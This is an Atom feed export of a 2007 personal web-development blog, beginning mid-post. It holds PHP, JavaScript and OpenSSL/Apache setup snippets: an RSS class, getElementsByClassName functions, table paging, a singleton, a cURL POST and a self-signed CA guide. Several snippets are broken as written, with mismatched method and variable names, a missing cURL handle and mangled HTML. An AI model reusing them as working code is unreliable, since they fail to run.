 }&lt;br /&gt;   /**************************************************************************/&lt;br /&gt;   // function name: Show&lt;br /&gt;   // function description: print out the RSS xml file content&lt;br /&gt;   /**************************************************************************/&lt;br /&gt;   function Show() {&lt;br /&gt;       if (empty($this-&gt;content)) $this-&gt;BuildRSS();&lt;br /&gt;       echo($this-&gt;content);&lt;br /&gt;   }&lt;br /&gt;   /**************************************************************************/&lt;br /&gt;   // function name: SaveToFile&lt;br /&gt;   // function description: save the RSS content to a file&lt;br /&gt;   // parameter: $fname the file name to be saved&lt;br /&gt;   /**************************************************************************/&lt;br /&gt;   function SaveToFile($fname) {&lt;br /&gt;       $handle = fopen($fname, 'wb');&lt;br /&gt;       if ($handle === false)  return false;&lt;br /&gt;       fwrite($handle, $this-&gt;content);&lt;br /&gt;       fclose($handle);&lt;br /&gt;   }&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-8399100036468825550?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/8399100036468825550/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=8399100036468825550' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/8399100036468825550'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/8399100036468825550'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/09/php-script-to-fetch-rss-info.html' title='php Script to fetch RSS info'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-5391110725682619581</id><published>2007-09-08T12:06:00.000+10:00</published><updated>2007-09-08T12:07:56.027+10:00</updated><title type='text'>Ajaxian.com 2006 Survey Results</title><content type='html'>&lt;h2 id="post-1603"&gt;&lt;a title="Permanent Link to Ajaxian.com 2006 Survey Results" href="http://ajaxian.com/archives/ajaxiancom-2006-survey-results" rel="bookmark"&gt;Ajaxian.com 2006 Survey Results&lt;/a&gt;&lt;/h2&gt;The results of our second annual Ajaxian.com survey, prepared by Richard  Monson-Hafael from the Burton Group, are in. And the winner is… Prototype, the  most popular Ajax framework, by a considerable margin: 43% of you use it.  Script.aculo.us is next, at 33%, confirming observations that many of made of  the popularity of that duo. &lt;p&gt;The full results of our framework survey follow:&lt;/p&gt; &lt;p&gt;&lt;a href="http://www.ajaxian.com/images/survey06-all-large.png"&gt;&lt;img alt="Framework Survey Results" src="http://www.ajaxian.com/images/survey06-all-small.png" border="0" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Note that multiple responses per participant were allowed; we’ve also thrown  out any result with less than 3% of responses in the above graphic.&lt;/p&gt; &lt;p&gt;We also asked you about the server-side platform you’re using. The big winner  here was PHP, with 50% of you using it:&lt;/p&gt; &lt;p&gt;&lt;img alt="Platform Survey Results" src="http://www.ajaxian.com/images/survey06-platforms.png" border="0" /&gt;&lt;/p&gt; &lt;p&gt;Some other interesting factoids:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;strong&gt;25% of you eschew frameworks and work with XMLHttpRequest  directly&lt;/strong&gt; (wow!)  &lt;/li&gt;&lt;li&gt;&lt;strong&gt;11% of you are using JSON to transfer data&lt;/strong&gt;; unfortunately,  we didn’t ask enough questions to determine how this compares with XML or other  data formats  &lt;/li&gt;&lt;li&gt;&lt;strong&gt;3% of you are still using Microsoft’s “classic” ASP  framework&lt;/strong&gt;; five of you (~0.6%) are using C++ (+2 points for increased  performance, -100 for increased complexity?)  &lt;/li&gt;&lt;li&gt;&lt;strong&gt;2% of you wrote in to say that you’re using Adobe’s Flex  toolkit&lt;/strong&gt; (hey, those banner ads are working out…); 2% also indicated  that they use the Flex/Ajax bridge. Unfortunately, the survey software we used  doesn’t let us correlate these entries, so we can only say that 2%-4% of you are  using Flex in some way  &lt;/li&gt;&lt;li&gt;One participant uses &lt;strong&gt;Delphi&lt;/strong&gt; (how’s that working out for  you?), and another is using &lt;strong&gt;LISP&lt;/strong&gt; (can we hire you?). &lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-5391110725682619581?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/5391110725682619581/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=5391110725682619581' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/5391110725682619581'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/5391110725682619581'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/09/ajaxiancom-2006-survey-results.html' title='Ajaxian.com 2006 Survey Results'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-907614641221425632</id><published>2007-08-28T20:02:00.000+10:00</published><updated>2007-08-28T20:04:05.141+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><title type='text'>getElementsByClassName My Eesy Edition</title><content type='html'>Take it easy&lt;br /&gt;&lt;br /&gt;function getElementsByClassName(className, tag){&lt;br /&gt;   var testClass = new RegExp("(^|\\s)" + className + "(\\s|$)");&lt;br /&gt;   var tag = tag || "*";&lt;br /&gt; &lt;br /&gt;   var elements = (tag == "*" &amp;&amp;amp; document.all)? document.all : document.getElementsByTagName(tag);&lt;br /&gt;   var returnElements = [];&lt;br /&gt;   var current;&lt;br /&gt;   var length = elements.length;&lt;br /&gt;   for(var i=0; i&lt;length;&gt;&lt;br /&gt;       current = elements[i];&lt;br /&gt;       if(testClass.test(current.className)){&lt;br /&gt;           returnElements.push(current);&lt;br /&gt;       }&lt;br /&gt;   }&lt;br /&gt;   return returnElements;&lt;br /&gt;}&lt;/length;&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-907614641221425632?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/907614641221425632/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=907614641221425632' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/907614641221425632'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/907614641221425632'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/08/getelementsbyclassname-my-eesy-edition.html' title='getElementsByClassName My Eesy Edition'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-7681691229148582860</id><published>2007-08-28T19:55:00.000+10:00</published><updated>2007-08-28T20:00:58.472+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><title type='text'>getElementsByClassName Delux Edition</title><content type='html'>&lt;pre&gt;&lt;code&gt;GET it FROM http://muffinresearch.co.uk/archives/2006/04/29/getelementsbyclassname-deluxe-edition/&lt;br /&gt;&lt;br /&gt;function getElementsByClassName(strClass, strTag, objContElm) {&lt;br /&gt; strTag = strTag || "*";&lt;br /&gt; objContElm = objContElm || document;&lt;br /&gt; var objColl = objContElm.getElementsByTagName(strTag);&lt;br /&gt; if (!objColl.length &amp;&amp;amp;  strTag == "*" &amp;&amp;amp;  objContElm.all) objColl = objContElm.all;&lt;br /&gt; var arr = new Array();&lt;br /&gt; var delim = strClass.indexOf('|') != -1  ? '|' : ' ';&lt;br /&gt; var arrClass = strClass.split(delim);&lt;br /&gt; for (var i = 0, j = objColl.length; i &lt; j; i++) {&lt;br /&gt;   var arrObjClass = objColl[i].className.split(' ');&lt;br /&gt;   if (delim == ' ' &amp;&amp;amp; arrClass.length &gt; arrObjClass.length) continue;&lt;br /&gt;   var c = 0;&lt;br /&gt;   comparisonLoop:&lt;br /&gt;   for (var k = 0, l = arrObjClass.length; k &lt; l; k++) {&lt;br /&gt;     for (var m = 0, n = arrClass.length; m &lt; n; m++) {&lt;br /&gt;       if (arrClass[m] == arrObjClass[k]) c++;&lt;br /&gt;       if (( delim == '|' &amp;&amp;amp; c == 1) || (delim == ' ' &amp;&amp;amp; c == arrClass.length)) {&lt;br /&gt;         arr.push(objColl[i]);&lt;br /&gt;         break comparisonLoop;&lt;br /&gt;       }&lt;br /&gt;     }&lt;br /&gt;   }&lt;br /&gt; }&lt;br /&gt; return arr;&lt;br /&gt;}&lt;/code&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-7681691229148582860?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/7681691229148582860/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=7681691229148582860' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/7681691229148582860'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/7681691229148582860'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/08/getelementsbyclassname-delux-edition.html' title='getElementsByClassName Delux Edition'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-19351092582321452</id><published>2007-05-22T19:20:00.001+10:00</published><updated>2007-06-26T16:46:20.114+10:00</updated><title type='text'>Javascript for updating one windows from another</title><content type='html'>window.onload = initWindows;&lt;br /&gt;&lt;br /&gt;function initWindows() {&lt;br /&gt;    if (document.getElementById("childField")) {&lt;br /&gt;        document.getElementById("childField").onchange = updateParent;&lt;br /&gt;    }&lt;br /&gt;    else {&lt;br /&gt;        newWindow = window.open("child.html","newWin","status=yes,width=300,height=300");&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function updateParent() {&lt;br /&gt;    opener.document.getElementById("msgLine").value = "Hello " + &lt;span style="color: rgb(51, 51, 255);"&gt;this.value &lt;/span&gt;+ "!";&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-19351092582321452?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/19351092582321452/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=19351092582321452' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/19351092582321452'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/19351092582321452'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/05/javascript-for-updating-one-windows.html' title='Javascript for updating one windows from another'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-5674873066094774518</id><published>2007-05-12T12:08:00.000+10:00</published><updated>2008-01-17T11:36:20.276+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>PHP DataTable Displaying and Paging</title><content type='html'>&lt;p&gt;&lt;br /&gt;&lt;br /&gt;I have made a function to fetch data from database and show it in a HTML table. It's easy to use but hard to read. HTML text has been linked together.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;&lt;br /&gt;function getResultAsTable ($actions, $result)&lt;br /&gt;{&lt;br /&gt;     if ($rowcount =pg_num_rows($result)&gt;0)&lt;br /&gt;     {&lt;br /&gt;         $resultHTML= "&amp;lt;table border="'1'" align="'center'"&amp;gt;\n&amp;lt;tr bgcolor="'#e8eefa'"&amp;gt;\n";&lt;br /&gt;        &lt;br /&gt;         //Output the table header&lt;br /&gt;         $fieldCount = pg_num_fields($result);&lt;br /&gt;         for ($i=0; $i &lt; $fieldCount; $i++)&lt;br /&gt;         {&lt;br /&gt;             $rowName = pg_field_name($result,$i);&lt;br /&gt;             $resultHTML .= "&amp;lt;th valign="'middle'"&amp;gt;$rowName&amp;lt;/th&amp;gt;\n";&lt;br /&gt;         }&lt;br /&gt;        &lt;br /&gt;        $resultHTML .= "&amp;lt;th&amp;gt;Actions&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;\n";&lt;br /&gt;    &lt;br /&gt;        //output the table body&lt;br /&gt;           while ($row = pg_fetch_row($result))&lt;br /&gt;        {&lt;br /&gt;             $resultHTML .="&lt;tr&gt;\n";&lt;br /&gt;             for ($i=0; $i &lt; $fieldCount; $i++)&lt;br /&gt;             {&lt;br /&gt;                $resultHTML .="&amp;lt;td&amp;gt;".htmlentities($row[$i])."&amp;lt;/td&amp;gt;\n";&lt;br /&gt;             }&lt;br /&gt;            &lt;br /&gt;               //Replace VALUE with proper primary key&lt;br /&gt;             $action = str_replace("VALUE", $row[0], $actions);&lt;br /&gt;             //Add action cell to the end of each row&lt;br /&gt;             $resultHTML .= "&amp;lt;td&amp;gt;$action&amp;lt;/td&amp;gt;\n&amp;lt;/tr&amp;gt;\n";&lt;br /&gt;            &lt;br /&gt;         }&lt;br /&gt;        &lt;br /&gt;         //Close table&lt;br /&gt;         $resultHTML .="&amp;lt;/table&amp;gt;\n";&lt;br /&gt;     }&lt;br /&gt;     else&lt;br /&gt;     {&lt;br /&gt;         $resultHTML = "No Result Found";&lt;br /&gt;     }&lt;br /&gt;     return  $resultHTML;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;function pageLinks($totalpages, $currentpage, $pagesize, $parameter)&lt;br /&gt;{&lt;br /&gt;// Start at page one&lt;br /&gt;$page = 1;&lt;br /&gt;// Start at record 0&lt;br /&gt;$recordstart = 0;&lt;br /&gt;&lt;br /&gt;// Initialize page links&lt;br /&gt;$pageLinks = '';&lt;br /&gt;while ($page &lt;= $totalpages) {     &lt;br /&gt;// Link the page if it isn't the current one     &lt;br /&gt; if ($page != $currentpage) {&lt;br /&gt;   $pageLinks .= "&amp;lt;a href="http://www.blogger.com/%5C" &lt;br /&gt;  parameter="$recordstart\"&amp;gt;$page&amp;lt;/a&amp;gt; ";&lt;br /&gt;      // If the current page, just list the number&lt;br /&gt;  }&lt;br /&gt;  else {&lt;br /&gt;      $pageLinks .= "$page ";&lt;br /&gt;  }&lt;br /&gt;  // Move to the next record delimiter&lt;br /&gt;  $recordstart += $pagesize;&lt;br /&gt;  $page++;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;return $pageLinks;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-5674873066094774518?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/5674873066094774518/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=5674873066094774518' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/5674873066094774518'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/5674873066094774518'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/05/php-shopping-cart.html' title='PHP DataTable Displaying and Paging'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-7236251026845342707</id><published>2007-05-12T12:06:00.000+10:00</published><updated>2007-05-13T15:09:37.058+10:00</updated><title type='text'>Design Pattern in PHP Architecture</title><content type='html'>Singleton pattern defines a class that hs only a single global instance. There are an abundance of places where a singleton is a natural choice. A browsing user has only a single set of cookies and has only one profile. Similarly, a class that wraps an HTTP request has only one instance per request. If you use a database driver that does not share connections, you might want to use a singleton to ensure that only a single connection is every open to a given database at a given time.&lt;br /&gt;&lt;br /&gt;One successful method for implementing singletons in PHP5 is  to use a factory method to create a singleton. The factory method keeps a private reference to the original instance of the class and returns that on request.&lt;br /&gt;&lt;br /&gt;class Singleton {&lt;br /&gt;   private static $instance = false;&lt;br /&gt;   public $property;&lt;br /&gt;&lt;br /&gt;   private function __construct () {}&lt;br /&gt;   public static function genInstance ()&lt;br /&gt;    {&lt;br /&gt;        if (self :: $instance === false) {&lt;br /&gt;             self :: $instance=new Singleton;&lt;br /&gt;          }&lt;br /&gt;        return self :: $instance;&lt;br /&gt;     }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$a = Singleton :: getInstance()&lt;br /&gt;$b = Singleton :: getInstance()&lt;br /&gt;$a -&gt;property = "Hello world";&lt;br /&gt;&lt;br /&gt;print $b -&gt;property;&lt;br /&gt;&lt;br /&gt;//Amazing! The result will be "Hello world"//&lt;br /&gt;&lt;br /&gt;In fact, if set the constructor methods private,  you can only make instance inside the class, if you try to instantiate outside the class, you will get a fatal error.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-7236251026845342707?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/7236251026845342707/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=7236251026845342707' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/7236251026845342707'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/7236251026845342707'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/05/design-pattern-in-php-architecture.html' title='Design Pattern in PHP Architecture'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-3838911900892088338</id><published>2007-05-03T18:14:00.000+10:00</published><updated>2007-06-11T10:54:23.140+10:00</updated><title type='text'>PHP and CURL (make post between two sites more secure)</title><content type='html'>We can also use CURL to post data to a form. The default method of sending form data with CURL is in &lt;a onclick="javascript:urchinTracker ('/outgoing/en.wikipedia.org/wiki/GET');" href="http://en.wikipedia.org/wiki/GET"&gt;GET&lt;/a&gt;, but in this example we will use &lt;a onclick="javascript:urchinTracker ('/outgoing/en.wikipedia.org/wiki/POST');" href="http://en.wikipedia.org/wiki/POST"&gt;POST&lt;/a&gt; to submit a search term to an imaginary form.  &lt;p&gt;[php]     // Setup a string with the form parameters in it&lt;br /&gt;    $strParameters = "query=dog";&lt;/p&gt; &lt;p&gt;    // Initialize the CURL library&lt;br /&gt;    $cURL = curl_init($cURL);&lt;/p&gt; &lt;p&gt;    // Set the URL to execute&lt;br /&gt;    curl_setopt($cCURL, CURLOPT_URL, "http://www.mywebserver.com/mysearch.php");&lt;/p&gt; &lt;p&gt;    // Set options&lt;br /&gt;    curl_setopt($cCURL, CURLOPT_HEADER, 1);&lt;br /&gt;    curl_setopt($cCURL, CURLOPT_RETURNTRANSFER, 1);&lt;br /&gt;    curl_setopt($cCURL, CURLOPT_POST, 1);&lt;br /&gt;    curl_setopt($cCURL, CURLOPT_POSTFIELDS, $strParameters);&lt;/p&gt; &lt;p&gt;    // Execute, saving results in a variable&lt;br /&gt;    $strPage = curl_exec();&lt;/p&gt; &lt;p&gt;    // Close CURL resource&lt;br /&gt;    curl_close($cURL);&lt;/p&gt; &lt;p&gt;    // This will print out the HTML contents&lt;br /&gt;    echo($strPage);&lt;/p&gt; &lt;p&gt;?&gt;[/php]&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-3838911900892088338?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/3838911900892088338/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=3838911900892088338' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/3838911900892088338'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/3838911900892088338'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/05/php-and-curl-make-post-between-two.html' title='PHP and CURL (make post between two sites more secure)'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-7670457368301580652</id><published>2007-04-17T08:12:00.000+10:00</published><updated>2007-04-17T09:00:18.223+10:00</updated><title type='text'>Make a CA for My Own</title><content type='html'>It's lucky to have a sever on my own computer. So I get chance to know more about how to protect web server. It is not enough make strict privilege access to certain folders and files.  One good way to  protect communication between  server and client is to assign a CA to client at the beginning of communication, and in this way, a unique encryption system can be set up every time client connect to server.&lt;br /&gt;&lt;br /&gt;Normally, certification issuers, which are called Certificate Authority, are big security companies. Their CA sometimes play a more important role than a business certification, because this CA can not be modified or counterfeited. But in a cyber world, everybody can be an Authority, everybody can issue his own certification. Although this kind of CA cannot enjoy high prestige as commercial one. But it can still be very useful for encryption messages sent between server and client.&lt;br /&gt;&lt;br /&gt;Here is a simple way to set up a HTTPS server on Ubuntu:&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;&lt;div style="text-align: left;"&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div style="text-align: left;"&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;1. install Openssl and get root CA&lt;/strong&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;sudo apt-get install openssl &lt;/p&gt;&lt;/blockquote&gt; /* setup a root CA, and make sure the password is complex enough */ &lt;blockquote&gt;&lt;p&gt;openssl genrsa -des3 2048 &gt; rootca.privatekey&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;Work out a  self-certificate based on the root CA，change the valid time if needed.&lt;br /&gt;&lt;/p&gt; &lt;blockquote&gt;&lt;p&gt;openssl req -new -x509 -key rootca.privatekey -days 3650 -out rootca.cert&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;In the process，you will be asked to provide your information, including organization name and physical location and so on.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Open /etc/ssl/openssl.cnf  modify the environment variable like this:&lt;br /&gt;&lt;/p&gt; &lt;blockquote&gt;&lt;p&gt;dir = /etc/ssl/CA&lt;/p&gt;&lt;/blockquote&gt; Set up several folders to reserve the private files: &lt;blockquote&gt;&lt;p&gt;sudo mkdir -p /etc/ssl/CA/certs&lt;br /&gt;sudo mkdir -p /etc/ssl/CA/newcerts&lt;br /&gt;sudo touch /etc/ssl/CA/index.txt&lt;br /&gt;sudo echo “01″ &gt; /etc/ssl/CA/serial&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;copy the root CA to this folder&lt;br /&gt;&lt;/p&gt; &lt;blockquote&gt;&lt;p&gt;sudo cp rootca.privatekey /etc/ssl/CA/private/cakey.pem&lt;br /&gt;sudo cp rootca.cer /etc/ssl/CA/cacert.pem&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;change privilege to deny all access but from root:&lt;br /&gt;&lt;/p&gt; &lt;blockquote&gt;&lt;p&gt;cd /etc/ssl&lt;br /&gt;sudo chmod go-rwx CA -R&lt;/p&gt;&lt;/blockquote&gt; &lt;div&gt; &lt;/div&gt;&lt;p style="text-align: left;"&gt;&lt;strong&gt;2. Set Up Certification for Apache SSL&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;&lt;div style="text-align: left;"&gt; &lt;/div&gt;&lt;p style="text-align: left;"&gt;Generate a user CA first, an the process is similar to set up a root CA:&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: left;"&gt; &lt;blockquote&gt;&lt;p&gt;openssl genrsa -des3 2048 &gt; my.privatekey&lt;/p&gt;&lt;/blockquote&gt; &lt;/div&gt;&lt;p style="text-align: left;"&gt;Generate a key file based on the user CA:&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: left;"&gt; &lt;blockquote&gt;&lt;p&gt;openssl req -days 3650 -key my.privatekey -new -out my.csr&lt;/p&gt;&lt;/blockquote&gt; &lt;/div&gt;&lt;p style="text-align: left;"&gt;Private information needed，Orgnization Name and location must be the same with root CA. Common Name is your web site's FQDN(fully qualified domain name. For example www.gezhi.org，and note that  www.gezhi.org and gezhi.org are different sites )&lt;/p&gt;&lt;p style="text-align: left;"&gt;then use root CA to authorize the user certification we made for apache:&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: left;"&gt; &lt;blockquote&gt;&lt;p&gt;openssl ca -out my.pem -days 3650 -infiles my.csr&lt;/p&gt;&lt;/blockquote&gt; &lt;/div&gt;&lt;div style="text-align: left;"&gt; &lt;/div&gt;&lt;p style="text-align: left;"&gt;&lt;strong&gt;3. Config apache&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;&lt;div style="text-align: left;"&gt; &lt;/div&gt;&lt;p&gt;Ubuntu apache2 intalled mod_ssl  on default，so just enable the modulate:    a2enmod ssl&lt;/p&gt;&lt;div style="text-align: left;"&gt;  &lt;/div&gt;&lt;p style="text-align: left;"&gt;/*  combine my.privatekey and my.pem, copy it to /etc/apache2/ssl/apache.pem */&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: left;"&gt; &lt;blockquote&gt;&lt;p&gt; cat my.privatekey my.pem &gt; apache.pem&lt;br /&gt;sudo cp apache.pem /etc/apache2/ssl/apache.pem&lt;/p&gt;&lt;/blockquote&gt; &lt;/div&gt;&lt;p style="text-align: left;"&gt;Set up the virtual host in /etc/apache2/sites-enabled/youdomain.conf (or in /etc/apache2/apache2.conf), it must include following lines:&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: left;"&gt; &lt;blockquote&gt;&lt;p&gt;&lt;virtualhost&gt;&lt;br /&gt;ServerName      mydomain.com&lt;br /&gt;ServerAdmin webmaster@localhost&lt;br /&gt;SSLEngine On&lt;br /&gt;SSLCertificateFile /etc/apache2/ssl/apache.pem&lt;br /&gt;DocumentRoot /directory/to/mydomain/dir/&lt;br /&gt;&lt;directory&gt;&lt;br /&gt;…&lt;br /&gt;&lt;/directory&gt;&lt;br /&gt;&lt;/virtualhost&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;/div&gt;&lt;p style="text-align: left;"&gt;Add https listen port in /etc/ports.conf&lt;/p&gt;&lt;div style="text-align: left;"&gt; &lt;blockquote&gt;&lt;p&gt;Listen 443&lt;/p&gt;&lt;/blockquote&gt; &lt;/div&gt;&lt;p style="text-align: left;"&gt;restart the apache server:&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: left;"&gt; &lt;blockquote&gt;&lt;p&gt;sudo /etc/init.d/apache2 restart&lt;/p&gt;&lt;/blockquote&gt; &lt;/div&gt;&lt;p style="text-align: left;"&gt;when apache2 starts, it will ask for password for my.privatekey&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-7670457368301580652?l=vwng.blogspot.com' alt='' 